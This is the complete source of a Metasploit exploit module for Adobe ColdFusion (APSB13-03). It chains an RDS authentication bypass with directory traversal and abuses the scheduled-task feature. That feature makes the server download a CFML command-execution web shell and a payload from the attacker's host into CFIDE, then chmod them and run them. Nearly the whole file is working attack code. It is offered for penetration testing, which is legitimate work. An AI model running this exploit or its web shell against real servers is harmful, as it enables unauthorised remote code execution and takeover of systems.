Adobe ColdFusion APSB13-03 Remote Exploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'digest/sha1'
require 'openssl'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Adobe ColdFusion APSB13-03',
      'Description' => %q{
        This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
          * CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
          * CVE-2013-0629: directory traversal
          * CVE-2013-0632: authentication bypass
      },
      'Author'       =>
        [
          'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-0625'],
          [ 'CVE', '2013-0629'],
          # we don't actually exploit this, as this is the backdoor
          # dropped by malware exploiting the other vulnerabilities
          [ 'CVE', '2013-0631'],
          [ 'CVE', '2013-0632'],
        ],
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }],
          [
            'Universal CMD',
            {
              'Arch'     => ARCH_CMD,
              'Platform' => ['unix', 'win', 'linux']
            }
          ]
        ],
      'DefaultTarget'  => 1,
      'Privileged'  => true,
      'Platform'    => [ 'win', 'linux' ],
      'DisclosureDate' => 'Jan 15 2013'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
        OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
        OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
      ], self.class)
  end

  def check
    exploitable = 0
    exploitable += 1 if check_cve_2013_0629
    exploitable += 1 if check_cve_2013_0632
    exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
  end

  # Login any way possible, returning the cookies if successful, empty otherwise
  def login
    cf_cookies = {}

    ways = {
      'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
      'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
      'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
    }
    ways.each do |what, how|
      these_cookies = how.call
      if got_auth? these_cookies
        print_status "Authenticated using '#{what}' technique"
        cf_cookies = these_cookies
        break
      end
    end

    fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
    cf_cookies
  end

  def exploit
    # login
    cf_cookies = login

    # if we managed to login, get the listener ready
    datastore['URIPATH'] = rand_text_alphanumeric(6)
    srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
    start_service

    # drop a payload on disk which we can used to execute
    # arbitrary commands, which will be needed regardless of
    # which technique (cmd, payload) the user wants
    input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
    output_exec = "#{datastore['URIPATH']}-e.cfm"
    schedule_drop cf_cookies, input_exec, output_exec

    if datastore['CMD'] and not datastore['CMD'].empty?
      # now that the coldfusion exec is on disk, execute it,
      # passing in the command and arguments
      parts = datastore['CMD'].split(/\s+/)
      res = execute output_exec, parts.shift, parts.join(' ')
      print_line res.body.strip
    else
      # drop the payload
      input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
      output_payload = "#{datastore['URIPATH']}-p"
      schedule_drop cf_cookies, input_payload, output_payload
      # make the payload executable
      # XXX: windows?
      execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
      # execute the payload
      execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
    end
    handler
  end

  def execute cfm, cmd, args=''
    uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
    send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
  end

  def on_new_session(client)
    return
    # TODO: cleanup
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      @files.each do |file|
        client.fs.file.rm("#{file}")
      end
    else
      @files.each do |file|
        client.shell_command_token("rm #{file}")
      end
    end
  end

  def on_request_uri cli, request
    cf_payload = "test"
    case request.uri
    when "/#{datastore['URIPATH']}-e"
      cf_payload = <<-EOF
        <cfparam name="url.cmd" type="string" default="id"/>
        <cfparam name="url.args" type="string" default=""/>
        <cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
        <cfoutput>#output#</cfoutput>
      EOF
    when "/#{datastore['URIPATH']}-p"
      cf_payload = payload.encoded
    end
    send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
  end

  # Given a hash of cookie key value pairs, return a string
  # suitable for use as an HTTP Cookie header
  def build_cookie_header cookies
    cookies.to_a.map { |a| a.join '=' }.join '; '
  end

  # this doesn't actually work
  def twiddle_csrf cookies, enable=false
    mode = (enable ? "Enabling" : "Disabling")
    print_status "#{mode} CSRF protection"
    params = {
      'SessEnable' => enable.to_s,
    }
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
        'method' => 'POST',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookies),
        'vars_post' => params,
      })
    if res
      if res.body =~ /SessionManagement should/
        print_error "Error #{mode} CSRF"
      end
    else
      print_error "No response while #{mode} CSRF"
    end
  end

  # Using the provided +cookies+, schedule a ColdFusion task
  #  to request content from +input_uri+ and drop it in +output_path+
  def schedule_drop cookies, input_uri, output_path
    vprint_status "Attempting to schedule ColdFusion task"
    cookie_hash = cookies

    scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
    scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
    # make a request to the scheduletasks page to pick up the CSRF token
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, scheduletasks_path),
        'method' => 'GET',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookie_hash),
      })
    cookie_hash.merge! get_useful_cookies res

    if res
      # XXX: I can only seem to get this to work if 'Enable Session Variables'
      # is disabled (Server Settings -> Memory Variables)
      token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
      unless token
        print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
        #twiddle_csrf cookies, false
        token = ''
      end
    else
      fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
    end

    # make a request to the scheduletasks page again, this time passing in our CSRF token
    # in an attempt to get all of the other cookies used in a request
    cookie_hash.merge! get_useful_cookies res
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
        'method' => 'GET',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookie_hash),
      })

    fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res

    # pick a unique task ID
    task_id = SecureRandom.uuid
    # drop the backdoor in the CFIDE directory so it can be executed
    publish_file = '../../wwwroot/CFIDE/' + output_path
    # pick a start date.  This must be in the future, so pick
    # one sufficiently far ahead to account for time zones,
    # improper time keeping, solar flares, drift, etc.
    start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
    params = {
      'csrftoken' => token,
      'TaskName' => task_id,
      'Group' => 'default',
      'Start_Date' => start_date,
      'End_Date' => '',
      'ScheduleType' => 'Once',
      'StartTimeOnce' => '1:37 PM',
      'Interval' => 'Daily',
      'StartTimeDWM' => '',
      'customInterval_hour' => '0',
      'customInterval_min' => '0',
      'customInterval_sec' => '0',
      'CustomStartTime' => '',
      'CustomEndTime' => '',
      'repeatradio' => 'norepeatforeverradio',
      'Repeat' => '',
      'crontime' => '',
      'Operation' => 'HTTPRequest',
      'ScheduledURL' => input_uri,
      'Username' => '',
      'Password' => '',
      'Request_Time_out' => '',
      'proxy_server' => '',
      'http_proxy_port' => '',
      'publish' => '1',
      'publish_file' => publish_file,
      'publish_overwrite' => 'on',
      'eventhandler' => '',
      'exclude' => '',
      'onmisfire' => '',
      'onexception' => '',
      'oncomplete' => '',
      'priority' => '5',
      'retrycount' => '3',
      'advancedmode' => 'true',
      'adminsubmit' => 'Submit',
      'taskNameOriginal' => task_id,
      'groupOriginal' => 'default',
      'modeOriginal' => 'server',
    }

    cookie_hash.merge! (get_useful_cookies res)
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, scheduleedit_path),
        'method' => 'POST',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookie_hash),
        'vars_post' => params,
      })

    if res
      # if there was something wrong with the task, capture those errors
      # print them and abort
      errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
      if errors.empty?
        if res.body =~ /SessionManagement should/
          fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
        end
        print_status "Created task #{task_id}"
      else
        fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
      end
    else
      fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
    end

    print_status "Executing task #{task_id}"
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
        'method' => 'GET',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookie_hash),
      })

    #twiddle_csrf cookies, true
    if datastore['DELETE_TASK']
      print_status "Removing task #{task_id}"
      res = send_request_cgi(
        {
          'uri'    => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
          'method' => 'GET',
          'connection' => 'TE, close',
          'cookie' => build_cookie_header(cookie_hash),
        })
    end

    vprint_status normalize_uri(target_uri, publish_file)
    publish_file
  end

  # Given the HTTP response +res+, extract any interesting, non-empty
  # cookies, returning them as a hash
  def get_useful_cookies res
    set_cookie = res.headers['Set-Cookie']
    # Parse the Set-Cookie header
    parsed_cookies = CGI::Cookie.parse(set_cookie)

    # Clean up the cookies we got by:
    #   * Dropping Path and Expires from the parsed cookies -- we don't care
    #   * Dropping empty (reset) cookies
    %w(Path Expires).each do |ignore|
      parsed_cookies.delete ignore
      parsed_cookies.delete ignore.downcase
    end
    parsed_cookies.keys.each do |name|
      parsed_cookies[name].reject! { |value| value == '""' }
    end
    parsed_cookies.reject! { |name,values| values.empty? }

    # the cookies always seem to start with CFAUTHORIZATION_, but
    # give the module the ability to log what it got in the event
    # that this stops becoming an OK assumption
    unless parsed_cookies.empty?
      vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
    end
    cookie_pattern = /^CF/
    useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
    if useful_cookies.empty?
      vprint_status "No #{cookie_pattern} cookies found"
    else
      vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
    end
    useful_cookies
  end

  # Authenticates to ColdFusion Administrator via the adminapi using the
  # specified +user+ and +password+.  If +use_rds+ is true, it is assumed that
  # the provided credentials are for RDS, otherwise they are assumed to be
  # credentials for ColdFusion Administrator.
  #
  # Returns a hash (cookie name => value) of the cookies obtained
  def adminapi_login user, password, use_rds
    vprint_status "Attempting ColdFusion Administrator adminapi login"
    user ||= ''
    password ||= ''
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
        'method' => 'POST',
        'connection' => 'TE, close',
        'vars_post' => {
          'method' => 'login',
          'adminUserId' => user,
          'adminPassword' => password,
          'rdsPasswordAllowed' => (use_rds ? '1' : '0')
        }
      })

    if res
      if res.code == 200
        vprint_status "HTTP #{res.code} when authenticating"
        return get_useful_cookies(res)
      else
        print_error "HTTP #{res.code} when authenticating"
      end
    else
      print_error "No response when authenticating"
    end

    {}
  end

  # Authenticates to ColdFusion Administrator using the specified +user+ and
  # +password+
  #
  # Returns a hash (cookie name => value) of the cookies obtained
  def administrator_login user, password
    cf_cookies = administrator_9x_login user, password
    unless got_auth? cf_cookies
      cf_cookies = administrator_10x_login user, password
    end
    cf_cookies
  end

  def administrator_10x_login user, password
    # coldfusion 10 appears to do:
    #   cfadminPassword.value = hex_sha1(cfadminPassword.value)
    vprint_status "Trying ColdFusion 10.x Administrator login"
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
        'method' => 'POST',
        'vars_post' => {
          'cfadminUserId' => user,
          'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
          'requestedURL' => '/CFIDE/administrator/index.cfm',
        'submit' => 'Login',
        }
      })

    if res
      if res.code.to_s =~ /^30[12]/
        useful_cookies = get_useful_cookies res
        if got_auth? useful_cookies
          return useful_cookies
        end
      else
        if res.body =~ /<title>Error/i
          print_status "Appears to be restricted and/or not ColdFusion 10.x"
        elsif res.body =~ /A License exception has occurred/i
          print_status "Is license restricted"
        else
          vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request.  Not 10.x?"
          vprint_status res.body
        end
      end
    end

    return {}
  end

  def got_auth? cookies
    not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
  end

  def administrator_9x_login user, password
    vprint_status "Trying ColdFusion 9.x Administrator login"
    # coldfusion 9 appears to do:
    #   cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
    #
    # You can get a current salt from
    #   http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
    #
    # Unfortunately that URL might be restricted and the salt really just looks
    # to be the current time represented as the number of milliseconds since
    # the epoch, so just use that
    salt = (Time.now.to_i * 1000).to_s
    pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
        'method' => 'POST',
        'vars_post' => {
          'submit' => 'Login',
          'salt' => salt,
          'cfadminUserId' => user,
          'requestedURL' => '/CFIDE/administrator/index.cfm',
          'cfadminPassword' => pass,
        }
      })
    if res
      return get_useful_cookies res
    else
      print_error "No response while trying ColdFusion 9.x authentication"
    end

    {}
  end

  # Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
  #
  # Returns a hash (cookie name => value) of the cookies obtained
  def componentutils_login user, password
    vprint_status "Attempting ColdFusion ComponentUtils login"
    vars = {
          'j_password_required' => "Password+Required",
          'submit' => 'Login',
    }
    vars['rdsUserId'] = user if user
    vars['j_password'] = password if password
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
        'method' => 'POST',
        'connection' => 'TE, close',
        'vars_post' => vars
      })

    cf_cookies = {}
    if res.code.to_s =~ /^(?:200|30[12])$/
      cf_cookies = get_useful_cookies res
    else
      print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
    end

    cf_cookies
  end

  def check_cve_2013_0629
    vulns = 0
    paths = %w(../../../license.txt ../../../../license.html)

    # first try password-less bypass in the event that this thing
    # was just wide open
    vuln_without_creds = false
    paths.each do |path|
      if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
        vulns += 1
        vuln_without_creds = true
        break
      end
    end

    if vuln_without_creds
      print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
    else
      print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
    end

    # if credentials are provided, try those too
    if datastore['USERNAME'] and datastore['PASSWORD']
      vuln_without_bypass = false
      paths.each do |path|
        cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
        if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
          vulns += 1
          vuln_without_bypass = true
          break
        end
      end

      if vuln_without_bypass
        print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
      else
        print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
      end
    end

    # now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
    vuln_with_bypass = false
    paths.each do |path|
      cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
      # we need to take the cookie value from CFAUTHORIZATION_cfadmin
      # and use it for CFAUTHORIZATION_componentutils
      cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
      cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
      if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
        vulns += 1
        vuln_with_bypass = true
        break
      end
    end

    if vuln_with_bypass
      print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
    else
      print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
    end

    vulns > 0
  end

  # Checks for CVE-2013-0632, returning true if the target is
  # vulnerable, false otherwise
  def check_cve_2013_0632
    if datastore['USERDS']
      # the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
      # subsequently *enabled* after install, the password is unset so we simply must
      # check that and only that.
      cf_cookies = adminapi_login 'foo', 'bar', true
      if cf_cookies.empty?
        print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
      else
        print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
        return true
      end
    else
      print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
    end
    false
  end

  def traverse_read path, cookies
    uri = normalize_uri(target_uri.path)
    uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
    uri << path
    res = send_request_cgi(
      {
        'uri'    => uri,
        'method' => 'GET',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookies)
      })
    res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
  end
end